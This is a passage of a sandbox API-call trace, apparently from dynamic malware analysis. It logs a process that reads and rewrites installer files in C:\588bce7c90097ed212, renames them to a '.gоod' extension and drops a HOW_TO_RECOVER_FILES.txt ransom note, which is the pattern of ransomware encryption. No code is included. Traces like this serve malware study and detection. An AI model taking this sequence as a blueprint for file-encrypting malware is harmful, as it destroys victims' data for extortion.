lpOldMode=0x1f6edca0) returned 1 [0095.101] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x35796c8 | out: lpFileInformation=0x35796c8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c)) returned 1 [0095.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0095.102] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0095.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0095.102] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.102] GetFileType (hFile=0x7c0) returned 0x1 [0095.102] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0095.102] GetFileType (hFile=0x7c0) returned 0x1 [0095.102] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0095.102] ReadFile (in: hFile=0x7c0, lpBuffer=0x3579a90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3579a90*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0095.103] CloseHandle (hObject=0x7c0) returned 1 [0095.103] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0095.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0095.103] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.104] GetFileType (hFile=0x7c0) returned 0x1 [0095.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0095.104] GetFileType (hFile=0x7c0) returned 0x1 [0095.104] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1198c [0095.104] WriteFile (in: hFile=0x7c0, lpBuffer=0x357ad00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x357ad00*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0095.104] CloseHandle (hObject=0x7c0) returned 1 [0095.105] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0095.105] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0095.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.105] GetFileType (hFile=0x7c0) returned 0x1 [0095.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0095.105] GetFileType (hFile=0x7c0) returned 0x1 [0095.105] ReadFile (in: hFile=0x7c0, lpBuffer=0x357cf98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x357cf98*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0095.141] CloseHandle (hObject=0x7c0) returned 1 [0095.141] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0095.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0095.141] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0095.142] GetFileType (hFile=0x7c0) returned 0x1 [0095.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0095.142] GetFileType (hFile=0x7c0) returned 0x1 [0095.142] WriteFile (in: hFile=0x7c0, lpBuffer=0x357bd18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x357bd18*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0095.142] CloseHandle (hObject=0x7c0) returned 1 [0095.142] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0095.142] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0095.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0095.142] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x34eb79a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1199c)) returned 1 [0095.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0095.142] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.gоod")) returned 1 [0095.143] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0095.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0095.143] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0095.230] GetFileType (hFile=0x7b4) returned 0x1 [0095.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0095.230] GetFileType (hFile=0x7b4) returned 0x1 [0095.643] WriteFile (in: hFile=0x7b4, lpBuffer=0x36517b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x36517b0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0095.644] CloseHandle (hObject=0x7b4) returned 1 [0095.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0095.645] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038", lpFilePart=0x0) returned 0x1a [0095.645] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0095.645] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.645] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0095.645] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0095.646] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0095.646] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.646] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0095.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0095.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0095.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0095.646] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038", lpFilePart=0x0) returned 0x1a [0095.646] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0095.646] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.647] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0095.647] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0095.647] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0095.647] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0095.647] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0095.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0095.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0095.647] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpFilePart=0x0) returned 0x23 [0095.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0095.647] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x3660a38 | out: lpFileInformation=0x3660a38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e)) returned 1 [0095.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0095.648] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpFilePart=0x0) returned 0x23 [0095.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0095.648] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0095.648] GetFileType (hFile=0x7b4) returned 0x1 [0095.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0095.648] GetFileType (hFile=0x7b4) returned 0x1 [0095.648] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0095.648] ReadFile (in: hFile=0x7b4, lpBuffer=0x3660db0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3660db0*, lpNumberOfBytesRead=0x1f6edcc8*=0x9e, lpOverlapped=0x0) returned 1 [0095.649] CloseHandle (hObject=0x7b4) returned 1 [0095.650] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpFilePart=0x0) returned 0x23 [0095.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0095.650] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0095.650] GetFileType (hFile=0x7b4) returned 0x1 [0095.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0095.650] GetFileType (hFile=0x7b4) returned 0x1 [0095.650] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x109e [0095.650] WriteFile (in: hFile=0x7b4, lpBuffer=0x3662028*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3662028*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0095.650] CloseHandle (hObject=0x7b4) returned 1 [0095.650] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpFilePart=0x0) returned 0x23 [0095.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0095.650] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0095.650] GetFileType (hFile=0x7b4) returned 0x1 [0095.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0095.650] GetFileType (hFile=0x7b4) returned 0x1 [0095.651] ReadFile (in: hFile=0x7b4, lpBuffer=0x3664298, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3664298*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0097.412] CloseHandle (hObject=0x7b4) returned 1 [0097.413] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpFilePart=0x0) returned 0x23 [0097.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0097.413] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.413] GetFileType (hFile=0x7b4) returned 0x1 [0097.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0097.413] GetFileType (hFile=0x7b4) returned 0x1 [0097.413] WriteFile (in: hFile=0x7b4, lpBuffer=0x34d0ff0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x34d0ff0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0097.413] CloseHandle (hObject=0x7b4) returned 1 [0097.413] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpFilePart=0x0) returned 0x23 [0097.413] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0097.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0097.413] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x36479371, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10ae)) returned 1 [0097.414] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0097.414] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.gоod")) returned 1 [0097.416] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0097.416] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x37087e0 | out: lpFileInformation=0x37087e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa)) returned 1 [0097.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0097.416] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0097.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0097.416] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0097.416] GetFileType (hFile=0x7b4) returned 0x1 [0097.416] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0097.416] GetFileType 